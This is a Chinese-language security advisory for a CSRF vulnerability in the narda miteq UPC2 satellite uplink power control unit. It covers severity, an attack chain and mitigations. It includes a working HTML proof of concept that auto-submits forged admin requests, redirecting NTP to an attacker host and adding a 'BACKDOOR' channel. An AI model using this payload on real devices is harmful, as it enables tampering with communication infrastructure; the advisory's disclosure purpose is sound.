CVE-2025-66953: narda miteq UPC2 CSRF漏洞可导致远程代码执行

漏洞信息

漏洞编号

CVE-2025-66953

漏洞类型

CSRF (跨站请求伪造)

CVSS评分

8.8 高危

攻击向量

网络 (AV:N)

认证要求

无需认证 (PR:N)

用户交互

需要交互 (UI:R)

影响产品

narda miteq Uplink Power Control Unit UPC2 v.1.17

漏洞概述

CVE-2025-66953是narda miteq公司生产的Uplink Power Control Unit UPC2版本1.17中存在的一个严重的跨站请求伪造（CSRF）漏洞。该设备是一款专业的卫星通信上行功率控制设备，广泛应用于广播电视、卫星通信等领域。攻击者可以通过精心构造的恶意网页，诱导设备管理员访问，从而在管理员不知情的情况下，以管理员权限执行任意操作。漏洞主要影响设备的Web管理界面，涉及多个关键功能端点，包括系统设置（/system_setup.htm）、时钟设置（/set_clock.htm）、接收器设置（/receiver_setup.htm）、校准功能（/cal.htm）以及通道设置（/channel_setup.htm）等。由于该设备通常部署在关键通信基础设施中，漏洞的存在可能导致严重的业务中断、数据泄露或被恶意利用于进一步的网络攻击。攻击者利用CSRF漏洞可以实现对设备配置的恶意修改，甚至在某些情况下可以执行任意代码，对卫星通信系统的正常运行构成重大威胁。

技术细节

该CSRF漏洞源于UPC2 Web管理界面缺少有效的CSRF令牌验证机制。攻击者首先构造一个包含恶意表单的HTML页面，该表单模拟设备管理界面的合法请求。当设备管理员登录Web管理界面后，若被诱导访问攻击者精心构造的恶意页面，浏览器将自动携带管理员的会话Cookie向目标设备发送POST请求。由于设备服务器端未验证请求的来源合法性（缺少Referer或Origin头验证），且未使用CSRF Token，服务器将认为该请求来自合法管理员并执行相应操作。攻击者可利用此漏洞修改系统配置、设置后门账户或触发设备重启等操作。由于该设备采用嵌入式Linux系统，攻击者若能通过配置修改获取系统shell访问权限，即可实现远程代码执行。漏洞影响的所有端点均支持通过GET或POST参数进行配置修改，且无需二次确认机制。

攻击链分析

STEP 1

步骤1

攻击者创建包含恶意表单的HTML页面，模拟UPC2设备的合法Web管理请求

STEP 2

步骤2

攻击者通过钓鱼邮件、社交工程或恶意网站诱导设备管理员访问该恶意页面

STEP 3

步骤3

管理员浏览器自动携带有效会话Cookie向目标设备发送POST请求

STEP 4

步骤4

UPC2服务器端因缺少CSRF Token验证和来源检查，接受并执行恶意请求

STEP 5

步骤5

攻击者通过修改系统配置获取设备控制权，可进一步尝试获取shell权限实现RCE

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

<!DOCTYPE html> <html> <head> <title>CSRF PoC - CVE-2025-66953</title> </head> <body> <h1>CSRF PoC for narda miteq UPC2</h1> <p>Target: http://[TARGET_IP]</p>  <h2>System Setup CSRF</h2> <form id="csrf1" action="http://[TARGET_IP]/system_setup.htm" method="POST"> <input type="hidden" name="sys_desc" value="CSRF_TEST"> <input type="hidden" name="sys_contact" value="[email protected]"> <input type="hidden" name="apply" value="1"> </form>  <h2>Clock Setup CSRF</h2> <form id="csrf2" action="http://[TARGET_IP]/set_clock.htm" method="POST"> <input type="hidden" name="ntp_server" value="attacker.controlled.ntp"> <input type="hidden" name="timezone" value="0"> <input type="hidden" name="apply" value="1"> </form>  <h2>Receiver Setup CSRF</h2> <form id="csrf3" action="http://[TARGET_IP]/receiver_setup.htm" method="POST"> <input type="hidden" name="freq" value="12000000"> <input type="hidden" name="sr" value="1000000"> <input type="hidden" name="apply" value="1"> </form>  <h2>Channel Setup CSRF</h2> <form id="csrf4" action="http://[TARGET_IP]/channel_setup.htm" method="POST"> <input type="hidden" name="ch_enable" value="1"> <input type="hidden" name="ch_name" value="BACKDOOR"> <input type="hidden" name="apply" value="1"> </form> <script> // Auto-submit all forms document.querySelectorAll('form').forEach(form => form.submit()); </script> </body> </html>

影响范围

narda miteq UPC2 v1.17

防御指南

临时缓解措施

在厂商发布正式修复补丁前，建议采取以下临时缓解措施：1）限制Web管理界面的访问范围，仅允许通过可信网络访问；2）定期检查设备配置变更日志，及时发现异常修改；3）使用VPN或IP白名单机制访问设备管理界面；4）启用浏览器的隐私保护功能，防止跨站请求携带Cookie；5）对管理员进行安全意识培训，提高对钓鱼攻击的警惕性。